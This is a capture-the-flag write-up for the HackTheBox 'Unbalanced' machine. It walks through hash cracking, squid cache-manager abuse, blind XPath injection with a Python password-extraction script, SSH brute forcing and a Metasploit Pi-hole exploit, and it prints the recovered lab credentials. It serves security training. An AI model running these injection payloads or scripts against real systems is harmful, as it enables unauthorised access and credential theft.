HTB Unbalanced

Writeup for Unbalanced box on HackTheBox.eu

Initial Enumeration

Found rsync and copied data - need password to decrypt encfs

Use encfs2john to create a hash for john to crack

/usr/share/john/encfs2john.py conf_backups > john.json
sudo john -wordlist=/usr/share/wordlists/rockyou.txt john.json

We know we have squid running so let's check this config first

cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all

Using https://github.com/limitedeternity/squidclient

./squidclient -h 10.10.10.200 -p 3128 -u cachemgr -w 'Thah$Sh1' fqdncache

We are working with a docker host and squid is proxying requests to docker containers

http://172.31.179.1/

POST http://172.31.179.1/intranet.php HTTP/1.1

Host: 172.31.179.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://172.31.179.1/intranet.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0



Username=a'+and+''='&Password=a

Not invalid credentials but adds a div to the page so we are dealing with a blind sqlinjection

The following requests generates a list of users:

#!/usr/bin/python3

import requests

proxy = {
    'http': 'http://10.10.10.200:3128'
}

def processRequest(user,password):
    req = requests.post('http://172.31.179.1/intranet.php', data={
        'Username': user,
        'Password': password
    },
    proxies=proxy)
    req.close()
    print(req.text)
    print(len(req.text))
    if 'Invalid credentials.' in req.text:
        return True
    
    return False


if processRequest("' or 'y'='y", "' or 'c'='c"):
    print ('Invalid OK')
else:
    print ('Page Error')
rita
Rita Fubelli

[email protected]

Role: HR Manager

jim
Jim Mickelson

[email protected]

Role: Web Designer

bryan
Bryan Angstrom

[email protected]

Role: System Administrator

sarah
Sarah Goodman

[email protected]

Role: Team Leader

Using a pyhon script we can enumerate all passwords for the users

#!/usr/bin/python3

import requests, sys 

asd= '|/-\\'
alphabet = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()*+,-./:;<=>?@[\\]^_`{|}~'
proxies = { "http" : "http://10.10.10.200:3128" }
url = "http://172.31.179.1/intranet.php"
usernames = [ 'rita','jim','bryan','sarah' ]

for user in usernames:
    #BASE REPONSE LENGTH
    data = { "Username" : "", "Password" : "' or Username='" + user + "' and string-length(Password)='200" }
    r = requests.post(url, data=data, proxies=proxies)
    base_len = len(r.content)
    pass_len = 0

    for i in range(30): #Extract password length
        data = { "Username" : "", "Password" : "' or Username='" + user + "' and string-length(Password)='" + str(i) }
        r = requests.post(url, data=data, proxies=proxies) 
        if(len(r.content) != base_len):
            print("[+] " + user + " has a password of " + str(i) + " characters!")
            pass_len = i
            break

    password = ''       
    for i in range(1,pass_len+1): #Extract password, character by character
        x=0
        for char in alphabet:
            if(x>3): x=0
            data = { "Username" : "", "Password" : "' or Username='" + user + "' and substring(Password," + str(i) + ",1)='" + char }
            r = requests.post(url, data=data, proxies=proxies)
            print("[" + asd[x:x+1] + "]" + " Extracting: " + password)
            x += 1
            sys.stdout.write("\033[F")
            if(len(r.content) != base_len):
                password += char
                if(i == pass_len):
                    print("[/]" + " Extracting: " + password)
                sys.stdout.flush()
                break

    print("\033[92m" + user + " = " + password + "\033[0m")

Passwords:

password01!
stairwaytoheaven
ireallyl0vebubblegum!!!
sarah4evah

Using this in combination with usernames we can put hydra to work and check ssh, soon enough we find a match for bryan

User Enumeration

TODO:
############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]

###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]

Found pi-hole on 172.31.11.3 so let's forward this to our local and see what we can see:

ssh -L 8888:172.31.11.3:80 [email protected]

Privilege escalation

Using admin as password we can login, and we can execute an exploit from metasploit (exploit/unix/http/pihole_blocklist_exec)

Password: bUbBl3gUm$43v3Ry0n3!

Testing the password above as root password for bryan works.